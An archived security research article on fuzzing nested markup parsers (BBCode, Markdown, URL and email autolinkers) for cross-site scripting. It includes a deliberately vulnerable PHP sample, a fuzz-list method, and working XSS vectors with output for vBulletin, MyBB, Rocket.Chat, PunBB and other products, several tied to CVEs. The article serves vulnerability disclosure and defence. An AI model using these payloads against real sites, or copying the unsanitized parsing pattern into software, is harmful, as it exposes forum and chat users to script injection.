Fuzzing for XSS via nested parsers condition

Fuzzing for XSS via nested parsers condition - Igor Sak-Sakovskiy, @Psych0tr1a, PT SWARM.

- Published: date not stated
- Original: <https://swarm.ptsecurity.com/fuzzing-for-xss-via-nested-parsers-condition/>
- Preserved from: https://swarm.ptsecurity.com/fuzzing-for-xss-via-nested-parsers-condition/ (stored) on 2026-08-16
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

When communicating online, we constantly use emoticons and put text in bold. Some of us encounter markdown on Telegram or GitHub, while forum-dwellers might be more familiar with BBCode.

All this is made possible by parsers, which find a special string (code/tag/character) in messages and convert it into beautiful text using HTML. And as we know, wherever there is HTML, there can be XSS.

This article reveals our novel technique for finding sanitization issues that could lead to XSS attacks. We show how to fuzz and detect issues in the HTML parsers with nested conditions. This technique allowed us to find a bunch of vulnerabilities in the popular products that no one had noticed before.

The technique was presented at Power Of Community 2021.

Parsers

What are parsers, and what are they for in messages?

Parsers are applications that find a substring in a text. When parsing messages, they can find a substring and convert it to the correct HTML code.

Well known parsers in messages

[image: image]

HTML as message markup

Some known applications allow using whitelisted HTML tags like `<b>`, `<u>`, `<img>` (WordPress, Vanilla forums, etc.). It is very easy for developers without the hacker's mentality to overlook some possibilities whilst sanitizing these tags. That is why we think that allowing even a limited list of tags is one of the developers' worst choices.

BBcode

BBcode is a lightweight markup language used to format messages in many Internet forums, first introduced in 1998. There're a few examples of the BBCode and the corresponding HTML code:

| Input | Output | | | `[b]text[/b]` | `<b>text</b>` | | | `[i]text[/i]` | `<i>text</i>` | | | `[url]http://google.com/[/url]` | `<a href="http://google.com/">http://google.com/</a>` | | | `[img]/favicon.ico[/img]` | `<img src="/favicon.ico" />` | |

Markdown

Markdown is a lightweight markup language for creating formatted text using a plain-text editor. It was first introduced in 2004. A few other examples:

| Input | Output | | | `**text**` | `<b>text</b>` | | | `*text*` | `<i>text</i>` | | | `[text](http://google.com/)` | `<a href="http://google.com/">http://google.com/</a>` | | | `![text](/favicon.ico)` | `<img alt="text" src="/favicon.ico" />` | |

AsciiDoc

AsciiDoc is a human-readable document format semantically equivalent to DocBook XML but uses plain-text markup conventions introduced in 2002:

| Input | Output | | | `*text*` | `<b>text</b>` | | | `_text_` | `<i>text</i>` | | | `[text](http://google.com/)` | `<a href="http://google.com/">http://google.com/</a>` | | | `![text](/favicon.ico)` | `<img alt="text" src="/favicon.ico" />` | |

reStructuredText

reStructuredText (RST, ReST, or reST) is a file format for textual data used primarily in the Python programming language community for technical documentation. First introduced in 2002:

| Input | Output | | | `**text**` | `<b>text</b>` | | | `*text*` | `<i>text</i>` | | | `` `text <http://google.com/> `` | `<a href="http://google.com/">http://google.com/</a>` | | | `.. image:: /favicon.ico :alt: text` | `<img alt="text" src="/favicon.ico" />` | |

Other well-known parsers

In addition to text markup parsers in messages and comments, you can also find URL and email parsers, smart URL parsers, which understand and transform to HTML not only HTTP links but also images or YouTube links. Also, you can find emoticons and emojis that become pictures from text, links to the user profile and hashtags that become clickable:

| Input | Output | | | `:)` | `<img src="/images/smile.jpg" alt=":)">` | | | `:smile:` | `<img src="/images/smile.jpg" alt=":smile:">` | | | `user@e.mail` | `<a href="mailto:user@e.mail">user@e.mail</a>` | |

| `https://www.youtube.com/watch?v=L_LUpnjgPso` | `<iframe src="https://www.youtube.com/embed/L_LUpnjgPso"></iframe>` | | | `http://google.com/image.jpg` | `<img src="http://google.com/image.jpg">` | | | `#hashtag` | `<a href="search?q=%23hashtag">#hashtag</a>` | | | `@username` | `<a href="/profile/username">@username</a>` | |

What do we know about bugs in this functionality?

If you google “markdown XSS”, you will find examples with missing sanitization of HTML characters and URL schemes. Let’s start with them.

Missing HTML characters sanitization

There is a vulnerability when a parser converts user input to HTML and at the same time does not sanitize HTML characters. It could affect characters such as angle brackets `<` (0x3c) that are responsible for opening new HTML tags and quotes `"` (0x22), `'` (0x27) which are responsible for the beginning and the end of an HTML attribute:

| Input | Output | | | `[url]http://google.com/<img src=s onerror=alert(1)>[/url]` | `<a href="http://google.com/%3cimg%20src=s%20onerror=alert(1)%3e">http://google.com/<img src=s onerror=alert(1)></a>` | | | `[img]/favicon.ico?id="onload="alert(1)[/img]` | `<img src="/favicon.ico?id="onload="alert(1)" />` | |

Missing “javascript:” URL scheme sanitization

This vulnerability can be exploited when a parser converts user input that contains URLs. If such parsers do not sanitize the “javascript:” URL scheme, it will allow the attacker to execute arbitrary JavaScript and perform XSS attacks:

| Input | Output | | | `[url=javascript:alert(1)]Click me![/url]` | `<a href="javascript:alert(1)">Click me!</a>` | | | `[vid eo]javascript:alert(1)[/video]` | `<iframe src="javascript:alert(1)"></iframe>` | |

Missing “file:” URL scheme sanitization

This is another vulnerability when a parser converts user input that contains URLs. This time the cause is insufficient “file://” URL scheme sanitization. This vulnerability could lead to critical attacks against desktop applications. For example, arbitrary client-side file reading using JavaScript, arbitrary client-side file execution using plain HTML, leakage of NTLM hashes. They could be used for the “pass the hash” or offline password brute force attacks against Windows users:

| Input | Output | | | `[url]file://1.3.3.7/test.txt[/url]` | `<a href="file://1.3.3.7/test.html">file://1.3.3.7/test.txt</a>` | | | `[vid eo]file://localhost/C:/windows/system32/calc.exe[/video]` | `<iframe src="file://localhost/C:/windows/system32/calc.exe"></iframe>` | | | `[img]file://1.3.3.7/test.jpg[/img]` | `<img src="file://1.3.3.7/test.jpg">` | |

Decoding after sanitization

Vulnerability when a parser converts user input to HTML, sanitizes HTML characters, but after it decodes user input from known encoding. HTML related encoding could be an urlencode `"` – (%22) or HTML entities transformation `"` – ("e;/"/")

| Input | Output | | | `[url]http://google.com/test%22test%2522test%252522[/url]` | `<a href="http://google.com/test"test"test""></a>` | | | `[url]http://google.com/test"e;test"e;test&quote;[/url]` | `<a href="http://google.com/test"test"test""></a>` | |

Parsers with nested conditions’

[image: image]

Nested condition is when one payload is processed by two different parsers, which, with some manipulations, allows us to inject arbitrary JavaScript into the page. These vulnerabilities are very easy to overlook both by developers and hackers.

However, we found this type of bug you can easily find by fuzzing!

Here is a PHP code sample of a vulnerable application:

```
<?php
function returnCLickable($input)
{
   $input = preg_replace('/(http|https|files):\/\/[^\s]*/', '<a href="${0}">${0}</a>', $input);
   $input = preg_replace('/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)(\?\w*=[^\s]*|)/', '<a href="mailto:${0}">${0}</
   $input = preg_replace('/\n/', '<br>', $input);
   return $input . "\n\n";
}
$message = returnCLickable(htmlspecialchars($_REQUEST['msg']));
?>
```

User input passed as a sanitized text to the argument of function `returnClickable` that finds urls and emails and returns HTML code for clickable elements.

[image: image]

Looks safe at first, but if you try to send a string that contains an email inside the URL, the parser will return broken HTML code, and your user input migrates from an HTML attribute value to an HTML attribute name.

| Input | Output | | | `http://google.com/user@gmail.com?subject='qwe'onmouseover='alert(1)'` | `<a href="http://google.com/<a href="mailto:user@gmail.com?subject='qwe'onmouseover='alert(1)'">http://google.com/user@gmail.com?subject=''onmouseover='alert(1)'</a>">user@gmail.com?subject=''onmouseover='alert(1)'">http://google.com/user@gmail.com?subject=''onmouseover='alert(1)'</a></a>` | |

Fuzzlist building logic

For better understanding, we will show you an example with vBulletin. Here is a fuzz-list fragment to discover XSS via nested parsers. The vulnerable BBcode tag is `[video]`, and the tag that allows us to insert new HTML attributes is `[font]`:

```
[img]http://aaa.ru/img/header.jpg[font=qwe]qwe[/font]qwe[/img]
[VIDEO="qwe[font=qwe]qwe[/font];123"]qwe[/VIDEO]
[VIDEO="qwe;123"]qw[font=qwe]qwe[/font]e[/VIDEO]
[video="youtube;123[font=qwe]qwe[/font]"]https://www.youtube.com/watch?v=jEn2cln7szEq[/video]
[video=twitch;123]https://www.twitch.tv/videos/285048327?collection=-41EjFuwRRWdeQ[font=qwe]qwe[/font][/video]
[video=youtube;123]https://www.youtube.com/watch?v=jEn2cln7szE[font=qwe]qwe[/font][/video]
[video=vimeo;123]https://vimeo.com/channels/staffpicks/285359780[font=qwe]qwe[/font][/video]
[video=mixer;123]https://www.facebook.com/gaming/?type=127929-Minecraft[font=qwe]qwe[/font][/video]
[video=metacafe;123]http://www.metacafe.com/watch/11718542/you-got-those-red-buns-hun/[font=qwe]qwe[/font][/video]
[video=liveleak;123]https://www.liveleak.com/view?i=715_1513068362[font=qwe]qwe[/font][/video]
[video=facebook;123]https://www.facebook.com/vietfunnyvideo/videos/1153286888148775[font=qwe]qwe[/font]/[/video]
[video=dailymotion;123]https://www.dailymotion.com/video/x6hx1c8[font=qwe]qwe[/font][/video]
[FONT=Ari[font=qwe]qwe[/font]al]qwe[/FONT]
[SIZE=11[font=qwe]qwe[/font]px]qwe[/SIZE]
[FONT="Ari[font=qwe]qwe[/font]al"]qwe[/FONT]
[SIZE="11[font=qwe]qwe[/font]px"]qwe[/SIZE]
[email]qwe@qw[font=qwe]qwe[/font]e.com[/email]
[email=qwe@qw[font=qwe]qwe[/font]e.com]qwe[/email]
[url]http://qwe@qw[font=qwe]qwe[/font]e.com[/url]
[url=http://qwe@qw[font=qwe]qwe[/font]e.com]qwe[/url]
[email="qwe@qw[font=qwe]qwe[/font]e.com"]qwe[/email]
[url="http://qwe@qw[font=qwe]qwe[/font]e.com"]qwe[/url]
```

Step 1

Enumerate all possible strings that could be converted to HTML code and save to List B:

```
http://google.com/?param=value
http://username:password@google.com/
[color=colorname]text[/color]
[b]text[/b]
:smile:
```

Step 2

Save the lines that allow you to pass arguments in HTML as insertion points to List A and mark where the payloads from List B will be inserted. You can also use List C for checking HTML

characters sanitization, Unicode support or 1-byte fuzzing:

```
http://google.com/?param=va%listC%%listB%lue
http://username:pass%listC%%listB%word@google.com/
[color=color%listC%%listB%name]text[/color]
```

Step 3

Generate the fuzz-list using Lists A, B and C:

```
http://google.com/?param=va<[color=colorname]text[/color]lue
http://username:pass<[b]text[/b]word@google.com/
[color=color<:smile:name]text[/color]
```

Detection of anomalies

Method 1 – visual

You can use this method on desktop/mobile apps when you can't see HTTP traffic or HTML source of returned messages.

Expected results: chunks of HTML code (`">` , `" >` , `"/>`) become visible.

[image: image]

Method 2 – regular expressions

This method can be used when you apply fully automated fuzzing.

For example, we use a regex that searches for an opening HTML tag character `<` inside of an HTML attribute:

[image: image]

We applied this fuzzing technique against the vBulletin board using BurpSuite Intruder. We sorted the resulting table by the seventh column that contains the true/false condition of the used regex. At the bottom of the screenshot, you can see the HTML source of the successful test case, with the substring found and highlighted by our regex rule:

[image: image]

Discovered vulnerabilities

It's not a full list, some vendors not patched and something we can't disclose...

vBulletin < 5.6.4 PL1, 5.6.3 PL1, 5.6.2 PL2

CVE: not assigned

XSS vector (video BBcode + font BBcode):

```
[VIDEO="aaa;000"]a[FONT="a onmouseover=alert(location) a"]a[/FONT]a[/VIDEO]
```

HTML output:

```
<a class="video-frame h-disabled" href="aaa" data-vcode="000" data-vprovider="aaa">
```

MyBB

CVE: CVE-2021-27279.

XSS vector (emal BBcode + email BBcode another syntax):

```
[email]a@a.a?[email=a@a.a? onmouseover=alert(1) a]a[/email][/email]
```

HTML output:

```
<a href="mailto:a@a.a?<a href="mailto:a@a.a? onmouseover=alert(1) a" class="mycode_email">a" class="mycode_ema
```

PMWiki

CVE: CVE-2021-29231

XSS vector (div title wikitext + font-family wikitext):

```
%define=aa font-family='a="a'%

(:div title='a%aa% a' style='a':)"onmouseover="alert(1)"
test
```

HTML output:

```
<div title='a a' style='a' >"onmouseover="alert(1)" <p>test
```

Rocket.Chat

CVE: CVE-2021-22886

XSS vector (url parser + markdown url):

```
[ ](http://www.google.com)
www.google.com/pa<http://google.com/onmouseover=alert(1); a|Text>th/a
```

HTML output:

```
<a href="http://www.google.com/pa<a data-title="http://google.com/onmouseover=alert(1); a" href="http://google.com/or
```

XMB

CVE: CVE-2021-29399

XSS vector (URL BBcode + URL BBcode another syntax):

```
[url]http://a[url=http://onmouseover=alert(1)// a]a[/url][/url]
```

HTML output:

```
<a href='http://a<a href='http://onmouseover=alert(1)// a' onclick='window.open(this.href); return false;'>a' onclick='window
```

SCEditor < 3 / SMF 2.1 – 2.1 RC3

CVE: not assigned

XSS vector (BBcode + BBcode):

```
[email]a@a[size="onfocus=alert(1) contenteditable tabindex=0 id=xss q"]a[/email].a[/size]
```

HTML output:

```
<a href="mailto:a@a<font size="onfocus=alert(1) contenteditable tabindex=0 id=xss q">a</font>">a@a<font size="onf
```

PunBB

CVE: CVE-2021-28968

XSS vector (emal BBcode + url BBcode inside b BBcode):

```
[email]a@a.a[b][url]http://onmouseover=alert(1)//[/url][/b]a[/email]
```

HTML output:

```
<a href="mailto:a@a.a<strong><a href="http://onmouseover=alert(1)//">http://onmouseover=alert(1)//</a></strong>a">a
```

Vanilla forums

CVE: not assigned

XSS vector (HTML <img alt> + HTML <img>):

```
<img alt="<img onerror=alert(1)//"<">
```

HTML output:

```
img alt="<img onerror=alert(1)//" src="src" />
```

Recommendations for elimination

Based on our findings, we can say that one of the best options for sanitization that could protect even the parsers with the nesting conditions is the complete encoding of the user input to HTML entities:

[image: image]

For example, let us look at the Phorum CMS that has already been patched.

In the last version of this CMS, one of the BBcodes encodes all user input to HTML entities. And it's an XSS when we tried to reproduce it on previous versions. This patch indeed is a great example:

```
my e-mail: [email]qwe@qwe.com[/email]
```

[image: image]

Message HTML source

[image: image]

Rendered message